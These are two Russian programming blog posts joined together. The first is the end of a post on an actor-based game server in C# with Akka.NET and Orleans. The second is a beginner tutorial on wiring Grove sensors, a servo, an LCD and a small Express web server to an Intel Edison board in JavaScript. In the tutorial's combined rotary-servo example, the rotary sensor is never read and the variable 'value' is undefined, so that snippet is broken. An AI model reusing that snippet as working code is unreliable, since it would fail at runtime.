Направление движения регулируется кнопками W A S D или стрелочками. Для выстрела предназначена клавиша пробела. Хочу сделать в будущем графический клиент на Three.js и выложить игру на какой-нибудь бесплатный хостинг. Пока что есть только временный консольный клиент.
Личные впечатления
------------------
В общем то они оба решают проблему когда вы хотите распаралелить свои вычисления и при этом не использовать lock(object). Грубо говоря весь код который у вас находиться внутри lock обычно можно поместить в актор. Кроме этого каждый актор живет своей жизнью и его независимо от других можно перезапустить. При этом сохраняя жизнеспособность всей системы в целом. Отказоустойчивость в общем. MS Orleans мне показался более удобный и заточенным под RPC. Akka.NET проще и меньше. Его можно просто как библиотеку для реактивный асинхронных вычислений использовать. MS Orleans сразу требует себе выделить отдельный порт и настроить для себя хост который будет запускаться при старте приложения. Akka.NET же в базовой комплектации ничего не надо. Подключил nuget пакет и пользуешься. Зато у MS Orleans строго типизированные интерфейсы для акторов(грейнов). В целом если бы мне нужно было написать микросервис целиком на акторах то я выбрал бы MS Orleans если же просто в одном месте распаралелить вычисления и избежать синхронизации потоков через lock, AutoResetEventSlim или еще что-то в этом роде то Akka.NET. Таки да, бытует заблуждение якобы сервер стрелялки Hallo сделан на акторах. Ой таки вей. Там на акторах только всякая инфраструктура вроде платежей и прочего. Сама логика движения игрока и попадания выстрела, тобишь игровая логика, она в C++ монолите вычисляется. Вот в MMO вроде WoW, где вы выбираете явно цель и у вас есть глобальная перезарядка размером в почти 1 секунду на все заклинания там часто используют акторы.
Код и коментарии
----------------
### Входная точка нашего сервера. SignalR Hub
```
public class GameHub : Hub
{
private readonly ActorSystem _system;
private readonly IServiceProvider _provider;
private readonly IGrainFactory _client;
public GameHub(
IGrainFactory client,
ActorSystem system,
IServiceProvider provider
)
{
_client = client;
_system = system;
_provider = provider;
}
public async Task JoinGame(long gameId, Guid playerId)
{
//IActorRef это прокси к нашему актору.
// Он передает полученные сообщения актору на который ссылается
var gameFactory = _provider.GetRequiredServiceByName>("game");
var game = gameFactory(gameId);
var random = new Random();
var player = new Player()
{
IsAlive = true,
GameId = gameId,
Id = playerId,
Point = new Point()
{
X = (byte)random.Next(1, GameActor.WIDTH - 1),
Y = (byte)random.Next(1, GameActor.HEIGHT - 1)
}
};
game.Tell(player);
}
public async Task GameInput(Input input, long gameId)
{
// Путь к актору состоит из имени его родителя и его собственного имения.
// user это все пользовательские акторы.
// целиком это будет что-то типо akka://game/user/1/2
\_system.ActorSelection($"user/{gameId}/{input.PlayerId}").Tell(input);
}
}
```
Регистрация нашей актор системы в DI:
```
services.AddSingleton(ActorSystem.Create("game"));
var games = new Dictionary();
services.AddSingletonNamedService>(
"game", (sp, name) => gameId =>
{
lock (games)
{
if (!games.TryGetValue(gameId, out IActorRef gameActor))
{
var frame = new Frame(GameActor.WIDTH, GameActor.HEIGHT) { GameId = gameId };
var gameEntity = new Game()
{
Id = gameId,
Frame = frame
};
//Фабрика для создания инстансов актора.
// Передаем туда IServiceProvide чтобы актор мог резолвить нужные ему зависимости
var props = Props.Create(() => new GameActor(gameEntity, sp));
var actorSystem = sp.GetRequiredService();
//Создаем новый актор если такой мы еще не запускали.
gameActor = actorSystem.ActorOf(props, gameId.ToString());
games[gameId] = gameActor;
}
return gameActor;
}
});
```
### Акторы
#### GameActor
```
public sealed class GameActor : UntypedActor
{
public const byte WIDTH = 100;
public const byte HEIGHT = 50;
private DateTime _updateTime;
private double _totalTime;
private readonly Game _game;
private readonly IHubContext \_hub;
public GameActor(Game game, IServiceProvider provider)
{
\_updateTime = DateTime.Now;
\_game = game;
\_hub = (IHubContext)provider.GetService(typeof(IHubContext));
//Запускаем шедулер который буде постоянно отправлять нашему актору сообщение
//RunMessage говорящее ему пробежать один игровой цикл.
//Обновление и оправка нового состояния на клиент.
Context
.System
.Scheduler
.ScheduleTellRepeatedly(
//Сколько надо подождать прежде чем начать отсылать сообщения.
TimeSpan.FromMilliseconds(100),
//Раз в сколько миллисекунд отправлять сообщения
TimeSpan.FromMilliseconds(1),
//Получатель сообщения
Context.Self,
//Что за сообщение отправлять получателю
new RunMessage(),
//Кто является отправителем сообщения. Nobody значит что никто. null тобишь.
ActorRefs.Nobody
);
}
//Основная точка входа нашего актора.
//Срабатывает когда актор получает какое-то сообщение снаружи.
protected override void OnReceive(object message)
{
if (message is RunMessage run)
Handle(run);
if (message is Player player)
Handle(player);
if (message is Bullet bullet)
Handle(bullet);
}
//Работает по принципу Create or Update
//Если игровая сущность мертва то останавливает ее актор и удаляет ее из списка
private void Update(
List entities,
T entity,
Func createInitMessage,
Func createProps
)
where T : IGameEntity
{
if (!entity.IsAlive)
{
var actor = Context.Child(entity.Id.ToString());
if (!actor.IsNobody())
Context.Stop(actor);
entities.RemoveAll(b => b.Id == entity.Id);
}
//Create
else if (!entities.Any(b => b.Id == entity.Id))
{
Context.ActorOf(createProps(), entity.Id.ToString());
entities.Add(entity);
Context.Child(entity.Id.ToString()).Tell(createInitMessage());
}
//Update
else
{
entities.RemoveAll(b => b.Id == entity.Id);
entities.Add(entity);
}
}
private void Handle(Bullet bullet)
{
Update(
\_game.Bullets,
bullet,
() => new InitBulletMessage(bullet.Clone(), \_game.Frame.Clone()),
() => Props.Create(() => new BulletActor())
);
}
private void Handle(Player player)
{
Update(
\_game.Players,
player,
() => new InitPlayerMessage(player.Clone(), \_game.Frame.Clone()),
() => Props.Create(() => new PlayerActor())
);
}
private void Handle(RunMessage run)
{
var deltaTime = DateTime.Now - \_updateTime;
\_updateTime = DateTime.Now;
var delta = deltaTime.TotalMilliseconds;
Update(delta);
Draw(delta);
}
private void Update(double deltaTime)
{
var players = \_game.Players.Select(p => p.Clone()).ToList();
foreach (var child in Context.GetChildren())
{
child.Tell(new UpdateMessage(deltaTime, players));
}
}
private void Draw(double deltaTime)
{
\_totalTime += deltaTime;
if (\_totalTime < 50)
return;
\_totalTime = 0;
//PipeTo отправляем результат работы Task этому актору в виде сообщения.
//Для ReciveActor можно просто стандартный async await использовать
\_hub.Clients.All.SendAsync("gameUpdated", \_game.Clone()).PipeTo(Self);
}
}
```
#### BulletActor
```
public class BulletActor : UntypedActor
{
private Bullet _bullet;
private Frame _frame;
protected override void OnReceive(object message)
{
if (message is InitBulletMessage bullet)
Handle(bullet);
if (message is UpdateMessage update)
Handle(update);
}
private void Handle(InitBulletMessage message)
{
_bullet = message.Bullet;
_frame = message.Frame;
}
private void Handle(UpdateMessage message)
{
if (_bullet == null)
return;
if (!_bullet.IsAlive)
{
Context.Parent.Tell(_bullet.Clone());
return;
}
_bullet.Move(message.DeltaTime);
if (_frame.Collide(_bullet))
_bullet.IsAlive = false;
if (!_bullet.IsInFrame(_frame))
_bullet.IsAlive = false;
foreach (var player in message.Players)
{
if (player.Id == _bullet.PlayerId)
continue;
//Если пуля сталкивается с игроком, то она говорит ему умереть
//и умирает сама
if (player.Collide(_bullet))
{
_bullet.IsAlive = false;
Context
.ActorSelection(Context.Parent.Path.ToString() + "/" + player.Id.ToString())
.Tell(new DieMessage());
}
}
Context.Parent.Tell(_bullet.Clone());
}
}
```
#### PlayerActor
```
public class PlayerActor : UntypedActor
{
private Player _player;
private Queue \_directions;
private Queue \_commands;
private Frame \_frame;
public PlayerActor()
{
\_directions = new Queue();
\_commands = new Queue();
}
protected override void OnReceive(object message)
{
if (message is Input input)
Handle(input);
if (message is UpdateMessage update)
Handle(update);
if (message is InitPlayerMessage init)
Handle(init);
if (message is DieMessage)
{
\_player.IsAlive = false;
Context.Parent.Tell(\_player.Clone());
}
}
private void Handle(InitPlayerMessage message)
{
\_player = message.Player;
\_frame = message.Frame;
}
private void Handle(Input message)
{
if (\_player == null)
return;
if (\_player.IsAlive)
{
foreach (var command in message.Commands)
{
\_commands.Enqueue(command);
}
foreach (var direction in message.Directions)
{
\_directions.Enqueue(direction);
}
}
}
private void Handle(UpdateMessage update)
{
if (\_player == null)
return;
if (\_player.IsAlive)
{
HandleCommands(update.DeltaTime);
HandleDirections();
Move(update.DeltaTime);
}
Context.Parent.Tell(\_player.Clone());
}
private void HandleDirections()
{
while (\_directions.Count > 0)
{
\_player.Direction = \_directions.Dequeue();
}
}
private void HandleCommands(double delta)
{
\_player.TimeAfterLastShot += delta;
if (!\_player.HasColldown && \_commands.Any(command => command == Command.Shoot))
{
//Shot просто фабричный метод который создает пулю
// которая движется в том направлении куда смотри персонаж игрока
var bullet = \_player.Shot();
Context.Parent.Tell(bullet.Clone());
\_commands.Clear();
}
}
private void Move(double delta)
{
\_player.Move(delta);
if (\_frame.Collide(\_player))
\_player.MoveBack();
}
}
```
### Сообщения пересылаемые между акторами
```
//Просто приказывает персонажу игрока умереть.
//Если он вдруг в этот момент неуязвим то он может проигнорировать это сообщение.
public sealed class DieMessage { }
```
```
//Инициализирует актор управляющей состоянием пули начальным значениями
//Точнее говорит актору чтобы он себя инициализировал этими значениями
public sealed class InitBulletMessage
{
public Bullet Bullet { get; }
public Frame Frame { get; }
public InitBulletMessage(Bullet bullet, Frame frame)
{
Bullet = bullet ?? throw new ApplicationException("Укажите пулю");
Frame = frame ?? throw new ApplicationException("Укажите фрейм");
}
}
```
```
//Говорит актору управляющему состоянием персонажа игрока
//воспользоваться этими значениями для своей инициализации
public class InitPlayerMessage
{
public Player Player { get; }
public Frame Frame { get; }
public InitPlayerMessage(Player player, Frame frame)
{
Player = player ?? throw new ApplicationException("Укажите игрока!");
Frame = frame ?? throw new ApplicationException("Укажите фрейм");
}
}
```
```
//Просто говорит актору управляющему всем состоянием игры пробежать один игровой цикл
public sealed class RunMessage { }
```
```
//Говорит актору пули обновится свое состояние
// с учетом прошедшего с последнего обновления времени.
public sealed class UpdateMessage
{
public double DeltaTime { get; }
//Нужны чтобы пуля могла проверить свое попадание в одного из них
public List Players { get; }
public UpdateMessage(double deltaTime, List players)
{
DeltaTime = deltaTime;
Players = players ?? throw new ApplicationException("Укажите игроков!");
}
}
```
Благодарности
-------------
Спасибо [Areso](https://habr.com/ru/users/areso/) за найденные грамматические ошибки | https://habr.com/ru/post/500232/ | null | ru | null |
# Ингредиенты IoT деликатесов быстрого приготовления: Intel Edison + Intel XDK + JavaScript + Grove Kit
Насколько быстро можно создать устройство для Интернета вещей (IoT), которое управляется через браузер, получает и передает информацию, учитывая, что вы никогда не работали с микроконтроллерами, а только занимались высокоуровневым программированием на JavaScript?
Например, такое устройство как на фото. У него есть ЖК-экран и стрелочный указатель на сервоприводе. Рядом лежит телефон с запущенным браузером, который подключен к вебсерверу на устройстве. При нажатии стрелок в браузере, указатель поворачивается вправо, влево или устанавливается в нейтральное положение. После установки значения, оно передается обратно в браузер и показывается как значение Value. Дополнительно в браузере можно задать текстовую строку, которая после нажатия кнопки «Set text» выводится на ЖК-экране. Всё взаимодействие происходит по Wi-Fi. Как вы думаете, сколько времени уйдёт на разработку?
Если поразмышлять, придется много чего сделать. Написать код на C/С++, который выполняется на устройстве и взаимодействует с датчиками, поднять вебсервер, реализовать бэкэнд, фронтэнд, и всё это соединить. На самом деле, всё намного проще. И, осмелюсь утверждать, что на всё про всё хватит часа. Почему? Да потому, что есть готовые решения, которые можно объединить и, таким образом, быстро сделать прототип. Мы возьмём плату Intel Edison, среду разработки Intel XDK IoT Edition, набор датчиков Grove Kit и всего один язык программирования — JavaScript. Да, никакого С/С++. Всё просто, сразу из коробки.
Я расскажу обо всём по порядку, начиная с самых азов, чтобы даже неподготовленный разработчик не потерялся. Ну, а в завершении мы рассмотрим описанный вначале пример.
Grove Starter Kit Plus — Intel IoT Edition Gen2
-----------------------------------------------
[Набор Grove Starter Kit](http://www.seeedstudio.com/depot/intel-iot-c-143/) — это замечательная штука. Знаю, что некоторые программисты боятся работать с радиоэлектроникой. Всякие там провода, соединения, пайка, радиодетали… Но этот набор позволяет упростить работу. Все датчики подключаются универсально с помощью стандартных разъёмов, которые, при всём желании, нельзя соединить неправильно. Все разъемы на плате расширения подписаны. Достаточно подсоединить нужные провода к датчикам и можно сосредоточиться на программной части устройства.
В комплект входят:
* Плата расширения, с разъемами для стандартного подключения всех датчиков.
* Светодиод.
* Зуммер.
* Реле.
* Кнопка обычная.
* Кнопка сенсорная.
* Датчик поворота.
* Термометр.
* Микрофон.
* Датчик освещения.
* Сервопривод.
* ЖК-экран.
* Провода с разъёмами.
* USB разъёмы.
* Разъем для батарейки типа Крона.
Конечно, можно купить датчики и самостоятельно подключить их. Да, это будет дешевле, но тут все разъемы стандартные, все провода уже есть в наличии. Даже мне, кого не испугать пайкой, намного приятнее просто втыкать разъемчики и думать не о том, где какой проводок, а о самой программе. Тем более, у меня была ситуация на [хакатоне](http://habrahabr.ru/post/255447/), когда я второпях подключая датчики перед демонстрацией, перепутал провода, подав питание на выход сенсора. К счастью, ничего не сгорело.
Среда разработки Intel XDK IoT Edition
--------------------------------------
[Среда разработки Intel XDK](https://software.intel.com/en-us/html5/xdk-iot) позволяет создавать приложение на JavaScript на Node.js и запускать их на плате Intel Edison и Intel Galileo. Это дает возможность тем разработчикам, которые раньше писали на JavaScript в основном для веба, попробовать себя в чём-то новом. Достоинство в том, что если раньше, чтобы писать для микроконтроллера, надо было знать C/C++, то теперь всё становится намного проще. Вы просто пишете свою программу на вашем любимом JavaScript, и все работает.
Возможно, что приложение, написанное на JavaScript, будет уступать в скорости такому же, но на C++. Но дело в том, что код писать легче, да, и железо сейчас мощное. Преимущество Intel XDK еще и в том, что загрузка и запуск приложения на плату со всеми связанными библиотеками и файлами делается нажатием пары кнопок.
Опять приведу пример с хакатона. Одна из команд рассказывала, что они долго мучились с реализацией своего проекта. Пытались заставить его работать и на Python и на С++. Но только перейдя на JavaScript у них всё сразу получилось.
Трудности, которые были при разработке
--------------------------------------
Иногда XDK не мог подключиться к Edison. При этом плата работала по серийному порту (эмуляция через USB). Проверка показала, что не работал WiFi на плате. Оказалось, что в моей версии прошивки платы был баг. Когда работаешь с разъемом D7, то начинает плохо работать Wi-Fi. После этого очень проблематично заставить плату работать нормально. Т. к. при перезапуске платы, программа стартует автоматически. Я решил только подключением к USB с эмуляцией серийного порта. Подключившись, исправил программу, чтобы она не обращалась к D7 и перезапустил плату.
**Вот описание проблемы**<https://github.com/intel-iot-devkit/mraa/blob/master/docs/edison.md> — Arduino pin 7 can sometimes negatively impact the WiFi capability, if using WiFi avoid using this pin.
Проблема устранена в последнем релизе:
<http://download.intel.com/support/edison/sb/edison_rn_332032009.pdf>
Resolved issues:
EDISON-2356 Setting Arduino pin 7 to output causes Wi-Fi connection to become flaky.
Подключение платы
-----------------
Предполагаю, что вы уже подключили плату Intel Edison к компьютеру через USB или WiFi. Если нет, то есть несколько способов. Можно включить эмуляцию серийного порта по USB, это крайний разъем microUSB. Можно включить эмуляцию сетевого интерфейса по USB, это средний разъем microUSB. Можно использовать WiFi. Питание можно подключить через USB или при помощи блока питания.
* [Connecting your Intel Edison board using Wi-Fi](https://software.intel.com/en-us/connecting-your-intel-edison-board-using-wifi)
* [Connecting to your Intel Edison board using Ethernet over USB](https://software.intel.com/en-us/connecting-to-intel-edison-board-using-ethernet-over-usb)
* [Setting up a serial terminal on a system with Windows](https://software.intel.com/ru-ru/setting-up-serial-terminal-on-system-with-windows)
* [Setting up a serial terminal on a system with Mac\* OS X](https://software.intel.com/ru-ru/setting-up-serial-terminal-on-system-with-mac-os-x)
* [Setting up a serial terminal on a system with Linux](https://software.intel.com/ru-ru/setting-up-serial-terminal-on-system-with-linux)
Библиотека MRAA
---------------
Для упрощения работы с датчиками из JavaScript есть специальные библиотеки. Одна из них это MRAA. Она обеспечивает достаточно низкий уровень работы с платой.
<http://iotdk.intel.com/docs/master/mraa/index.html> — документация по MRAA
Её основная задача – настроить пин на ввод или вывод, выдать ноль или единицу, считать значение цифрового или аналогово сигнала с контакта. Может настроить пин на работу в ШИМ (PWM) режиме и задать его параметры. Этого достаточно, чтобы помигать светодиодом, считать состояние кнопки, получить значение температуры с датчика, включить сервопривод.
Вот, например, программа включения встроенного на плате светодиода:
```
var mraa = require('mraa');
var myOnboardLed = new mraa.Gpio(13); // работаем с 13-ым пином
myOnboardLed.dir(mraa.DIR_OUT); // настраиваем его на вывод
myOnboardLed.write(1); // устанавливаем высокий уровень сигнала на пине
```
Но вот если надо управлять чем-то более сложным, например, ЖК-экраном, то этого недостаточно.
Библиотека UPM
--------------
Следующая библиотека это UPM. Она предоставляет более высокий уровень работы.
<http://iotdk.intel.com/docs/master/upm/node/> — документация по UPM для Node.JS
В библиотеке реализованы алгоритмы для управления сложными устройствами, например, экранами, сервомоторами и т. д. Иначе, это пришлось бы делать самостоятельно. Мы будем её использовать для управления ЖК-экраном по последовательной шине I2C.
Пример программы выводящий на ЖК-экранчик текст:
```
var jsUpmI2cLcd = require ('jsupm_i2clcd');
var lcd = new jsUpmI2cLcd.Jhd1313m1(0, 0x3E, 0x62);
lcd.setCursor(1,5);
lcd.write('Hello Edison!');
```
Работа Node.JS
--------------
Когда вы создаете приложение в Intel XDK на компьютере, вы выгружаете его на плату (кнопка Upload). Он будет помещен в папку, но не будет запущен. Проект находится на плате в папке /home/root/.node\_app\_slot на эту папку настроена ссылка из корня /node\_app\_slot
Отправленное на плату приложение можно запустить двумя способами. Либо непосредственно из среды разработки кнопкой Run. Либо вручную в консоли на плате, для этого надо перейти в папку /node\_app\_slot и выполнить команду
```
node main.js
```
Если же вы перезапустите плату Edison, приложение стартует автоматически. Чтобы это не происходило, можно либо убрать из автозапуска старт демона, либо убрать или переименовать файл main.js, что проще.
Сейчас мы рассмотрим все датчики, которые идут в комплекте Grove Starter Kit Plus (Intel IoT Edition) группами по типу подключения.
Светодиод, зуммер, реле
-----------------------
Все эти устройства подключаются к цифровому выходу. Можно использовать D2-D8. При подаче единицы они включаются, при нуле выключаются.
### Светодиод
В комплекте есть три светодиода — красный, синий и зеленый. Выбирайте любой. Светодиод устройство полярное, значит важно подключить его правильно. Надо вставлять светодиод так, чтобы длинная ножка (анод) была в разъеме со значком «+». Но если вы подключите неправильно, он всего лишь не будет светить.
Подключим его к D2 и помигаем.
**Исходный код main.js**
```
/*jslint node:true, vars:true, bitwise:true, unparam:true */
/*jshint unused:true */
// Подключить библиотеку mraa
var mraa = require('mraa');
// Инициализируем D2 вывод как цифровой выход
var myOnboardLed = new mraa.Gpio(2);
// Настроим на вывод
myOnboardLed.dir(mraa.DIR_OUT);
var ledState = true; //Текущее состояние светодиода
// Будем вызывать функцию через каждые 100 мс
setInterval(periodicActivity,100);
function periodicActivity()
{
myOnboardLed.write(ledState?1:0); // установим сигнал по состоянию
ledState = !ledState; // изменим состояние на обратное
}
```
### Зуммер
Зуммер или пищалка. При подаче напряжения начинает пищать на одной частоте. Подключается к цифровому выходу. Можно использовать код, как для со светодиода.
### Реле
Реле представляет собой выключатель, который управляется сигналом. При подаче единицы выключатель замыкает контакты, при подаче нуля, размыкает. Его можно использовать для управления устройствами, которые рассчитаны на напряжение, большее чем 5В и ток, больший чем 0.5А и поэтому подключены к внешнему источнику питания. Например, можно включить настольную лампу. Реле, которое идет в комплекте Grove имеет параметры 10A х 250V. Это 2,5 кВт. Но это предельная мощность. Думаю, чайник не стоит включать таким способом. И если будете коммутировать прибор с напряжением питания 220 В, будьте осторожны, во-первых само напряжение опасно для здоровья, а во-вторых, если оно попадет на плату, тогда она скорее всего сгорит.
ШИМ и регулировка яркости светодиода
------------------------------------
А что делать, если мы хотим выдавать аналоговый сигнал промежуточного уровня, а не только ноль и один? Или как включить светодиод на половинную яркость, если у него только два состояния? Этого можно достичь при помощи ШИМ – широтно-импульсной модуляции (PWM – Pulse-width modulation). При её использовании сигнал периодически меняется с 1 до 0.
Это происходит каждый фрейм. Когда время обоих уровней одинаковое, то в среднем мы получаем значение 0,5. Допустим, единица была 25% времени, тогда и сигнал получается таким же, 0.25 от максимального. Если мы так управляем светодиодом и фрейм выбран достаточно малым, то из-за инертности нашего зрения мы будем видеть это среднее значение яркости.
Часть цифровых разъемов на плате может работать в режиме PWM, на шилде это D3, D5, D6. (На самой плате Edison они помечены значком «~»).
Для включения PWM надо задать несколько параметров. Первое, это период повторения сигнала, т. е. величина фрейма. Второй параметр это время, в течение которого будет единица. Его можно задавать или как коэффициент 0-1, или как значение времени в мкс.
Вот пример, в котором светодиод будет мигать, плавно изменяя свою яркость.
**Исходный код main.js**
```
/*jslint node:true, vars:true, bitwise:true, unparam:true */
/*jshint unused:true */
var mraa = require("mraa");
var pwm3 = new mraa.Pwm(5);
var frameSize = 2000;
pwm3.enable(true);
pwm3.period_us(frameSize);
var value = 0;
var step = 0.04;
setInterval(proc, 20);
function proc()
{
value += step;
if( value < 0 )
{
value = 0;
step = -step;
}
else if( value > 1 )
{
value = 1;
step = -step;
}
pwm3.write(value);
}
```
Кнопка обычная и сенсорная
--------------------------
Кнопки подключаются к цифровым входам D2-D8. Выдают единицу, если на них нажали. Отличие друг от друга в том, что сенсорная кнопка представляет собой емкостный датчик и поэтому срабатывает от легкого прикосновения и работает даже через слой бумаги.
Создадим приложение, которое будет выводить на экран состояние кнопки.
Подключаем кнопку к D8:
**Исходный код main.js**
```
/*jslint node:true, vars:true, bitwise:true, unparam:true */
/*jshint unused:true */
var mraa = require('mraa');
// будем использовать вывод D8
var myButton = new mraa.Gpio(8);
// настраиваем на ввод
myButton.dir(mraa.DIR_IN);
// вызываем опрос кнопки
getButton();
// каждые 20 мс опрашиваем кнопку
function getButton()
{
var b = myButton.read();
console.log('button='+b);
setTimeout(getButton,20);
}
```
Если после запуска вы будете нажимать кнопку, то увидите что-то подобное.
Датчик поворота, термометр, микрофон, датчик освещения
------------------------------------------------------
Все эти датчики выдают аналоговый сигнал разного уровня в зависимости от внешнего воздействия на них. Подключаются к аналоговым входам A0-A3. Значение сигнала 0-1023.
### Датчик поворота
Возвращает угол, на который он повернут. Значения в диапазоне 0-1023.
Подключим его в A0.
**Исходный код main.js**
```
/*jslint node:true, vars:true, bitwise:true, unparam:true */
/*jshint unused:true */
var mraa = require('mraa'); //require mraa
// Подключаем к A0
var myRotary = new mraa.Aio(0);
getRotary();
function getRotary()
{
var b = myRotary.read();
console.log('rotary='+b);
setTimeout(getRotary,20);
}
```
При запуске программы и вращении ручки вы увидите примерно такой вывод.
### Датчик температуры
Как можно догадаться, он возвращает значение температуры. Но недостаточно просто считать значение, так как это будет относительное сопротивление терморезистора. Для перевода в градусы лучше использовать библиотеку UPM. Итак, подключим датчик к A0.
**Исходный код main.js**
```
/*jslint node:true, vars:true, bitwise:true, unparam:true */
/*jshint unused:true */
var mraa = require('mraa');
var groveSensor = require('jsupm_grove');
// Подключаем к A0
var temp = new groveSensor.GroveTemp(0);
setInterval(getTemp,100);
function getTemp()
{
var celsius = temp.value();
console.log('temp='+celsius);
}
```
Библиотечная функция возвращает только целое значение. Если нужно более точное значение, можно воспользоваться следующим кодом, который использует непосредственно значение с датчика.
**Исходный код main.js**
```
/*jslint node:true, vars:true, bitwise:true, unparam:true */
/*jshint unused:true */
var mraa = require('mraa'); //require mraa
var temp = new mraa.Aio(0);
setInterval(getTemp,100);
function getTemp()
{
var sens = temp.read();
var celsius = convertTemp(sens);
console.log('temp='+celsius);
}
function convertTemp(sensorValue)
{
var resistance=(1023-sensorValue)*10000/sensorValue; //получим сопротивление
var temperature=1/(Math.log(resistance/10000)/3975+1/298.15)-273.15;//convert by datasheet ;
return temperature;
}
```
### Микрофон
Микрофон выдает уровень звукового сигнала. Подключим к A1. Значения, как обычно для аналогового входа, лежат в диапазоне от 0 до 1023.
**Исходный код main.js**
```
/*jslint node:true, vars:true, bitwise:true, unparam:true */
/*jshint unused:true */
var mraa = require('mraa');
var myMic = new mraa.Aio(1);
getLevel();
function getLevel()
{
var lev = myMic.read();
console.log('level='+lev);
setTimeout(getLevel,20);
}
```
Сервопривод
-----------
Более интересная штука — сервопривод, это мотор, который поворачивается на заданный угол (0-180 градусов) и старается сохранить это положение.
Для задания угла, надо подавать импульс, определенной длительности (скважности). Такие импульсы должны приходить постоянно, обычно 50 раз в секунду (20 мс). Но период прихода не так важен, важна длительность. Она может быть от 500 мкс до 2000 мкс. При минимальном значении импульса устанавливается угол в 0 градусов, при максимальном в 180 градусов.
Для разных сервоприводов граничные значения длительности импульса могут отличаться. Их можно подобрать экспериментально. **Но надо быть аккуратным. Если значение длительности лежит вне допустимого диапазона, тогда сервомотор начинает стучать и сильно нагревается. Сразу же отключайте его от разъема!** При правильной работе он должен повернуться на заданный угол, остановится и замолчать, оставаясь холодным.
Будем использовать цифровой выход, который умеет выводить ШИМ (PWM) сигнал. Это выводы D3, D5, D6.
Надо учесть, что из-за того, что PWM может принимать на вход только 256 значений и нельзя использовать все значения для заполнения, а только небольшую часть, то получается, что фиксированных углов у сервопривода не так и много, у меня получилось около 20.
**Исходный код main.js**
```
var mraa = require('mraa');
// размер фрейма в мкс
var frameSize = 20000;
// сервопривод подключим к D3
var pwm3 = new mraa.Pwm(3);
pwm3.enable(true);
pwm3.period_us(frameSize);
// минимальное значение импульса в мкс
var minServoTime = 420;
// максимальное значение импульса в мкс
var maxServoTime = 2000;
// положение поворота 0-1
var value = 0.5;// установим в среднее положение, 90 градусов
// вычислим временной интервал
var servoVal = Math.floor(minServoTime + (maxServoTime - minServoTime) * (1-value));
pwm3.pulsewidth_us(servoVal);
```
ЖК-экран
--------
Экран устройство более сложное, чем светодиод, поэтому и подключается к специальной последовательной шине I2C.
На экран можно выводить текст в 2 строки по 16 символов в каждой. Есть RGB подсветка. В документации сказано, что поддерживает Английский и Японский языки и есть возможность добавлять некоторое количество своих символов.
Так как устройства к шине I2C подключаются параллельно, то все разъемы на плате равнозначны, и экран можно вставить в любой из них.
Мы используем библиотеку UPM.
<http://iotdk.intel.com/docs/master/upm/node/classes/jhd1313m1.html> — работа с этим экраном.
```
var jsUpmI2cLcd = require ('jsupm_i2clcd');
var lcd = new jsUpmI2cLcd.Jhd1313m1(0, 0x3E, 0x62);
lcd.setColor(100, 127, 53);
lcd.setCursor(1,1);
lcd.write('Hello Edison!');
```
Соберём всё вместе
------------------
Вот мы и рассмотрели все устройства, которые есть в наборе Grove Starter Kit Plus. Попробуем собрать что-то поинтереснее, что одновременно использует несколько модулей.
У нас будет датчик поворота (A0), при вращении которого сервопривод (D3) будет поворачиваться на соответствующий угол. Найденная длительность импульса ШИМ для поворота на этот угол будет отображаться на ЖК-экране (I2C).
**Исходный код main.js**
```
/*jslint node:true, vars:true, bitwise:true, unparam:true */
/*jshint unused:true */
var mraa = require('mraa');
var jsUpmI2cLcd = require ('jsupm_i2clcd');
var lcd = new jsUpmI2cLcd.Jhd1313m1(0, 0x3E, 0x62);
lcd.setColor(100, 127, 53);
var myRotary = new mraa.Aio(0);
var pwm3 = new mraa.Pwm(3);
pwm3.enable(true);
var frameSize = 20000;
pwm3.period_us(frameSize);
setInterval(proc, 100);
function proc()
{
// определим относительное положение поворота
var maxRotary = 1023;
var valueRate = value / maxRotary ;
// найдем длительность импульса
var minServoTime = 420;
var maxServoTime = 2000;
var servoVal = Math.floor(minServoTime + (maxServoTime - minServoTime)*valueRate);
// установим длительность в микросекундах
pwm3.pulsewidth_us(servoVal);
// покажем длительность на экранчике
lcd.setCursor(0,0);
lcd.write('Time=' + servoVal + ' us ');
}
```
Создание веб-сервера
--------------------
Раз мы рассматриваем разработку для IoT (Internet of Things – Интернет вещей) нам надо сделать возможность работы с устройством через интернет. Следующий пример создает вебсервер, который показывает текущую температуру на температурном датчике. Сервер слушает 1337 порт и отвечает на запрос к корню сайта. Датчик температуры подключаем к A0. Если ваша плата имеет адрес 192.168.0.105, тогда в браузере указываем 192.168.0.105:1337.
**Исходный код main.js**
```
var mraa = require('mraa');
var groveSensor = require('jsupm_grove');
var temp = new groveSensor.GroveTemp(0);
var lastSetVal = 0;
var app = require('express')();
var http = require('http').Server(app);
var url = require("url");
var numCalls = 0;
app.get('', function (req, res)
{
'use strict';
res.writeHead(200, {"Content-Type": "text/html"});
res.write('Intel Edison Sensor temperature ' + temp.value() + 'oC');
res.end();
});
http.listen(1337, function () {
'use strict';
console.log('listening on *:1337');
});
```
Пример работы:
Десерт — управление через браузер
---------------------------------
Итак, обещанное в самом начале. Создадим устройство, управляемое через браузер, со стрелкой на сервоприводе и экранчиком. И при каждой команде поворота от клиента, оно будет в формате JSON возвращать реально установленное значение, так как в крайних положениях поворота не происходит. И как маленький бонус, на подключенный ЖК-экран можно отсылать текст.
Программа состоит из двух частей. Одна из них находится на устройстве Edison. Это вебсервер, файл main.js. Он отвечает на запросы от клиента, обслуживает сервопривод и экран. Использует библиотеку express и http.
Вторая часть находится на клиенте в браузере. Она получает команды от пользователя и пересылает их на сервер. Получает данные от вебсервера в формате JSON и отображает их. Использует библиотеку jQuery.
Это приложение будет немного посложнее. В проекте создадим папку public, в неё поместим статический контент. В нашем случае это три изображения для кнопок — rotate\_ccw.png, rotate\_cw.png, rotate\_center.png, html-файл index.html, который показывается в браузере клиента и библиотека jquery-1.11.3.min.js (Её надо будет скачать с официального сайта [jquery.com/download](https://jquery.com/download/))
На клиенте скрипт отслеживает нажатие на изображения стрелок и при возникновении такого события отправляет запрос на сервер по соответствующему адресу /right, /left, /center и ожидает получение JSON данных с информацией о положение стрелки. При нажатии на кнопку «Set text», текст из поля ввода отправляется на сервер.
**Содержимое файла index.html**
```
Rotation
function showVal(val)
{
$("#val").text('Value='+val);
}
function left()
{
$.getJSON( "/left", function( data ) {
showVal(data['value']);
} ) ;
}
function right()
{
$.getJSON( "/right", function( data ) {
showVal(data['value']);
} );
}
function center()
{
$.getJSON( "/center", function( data ) {
showVal(data['value']);
} );
}
function setText()
{
$.get("/text/"+$("#text").val());
}
Value=0
=======
```
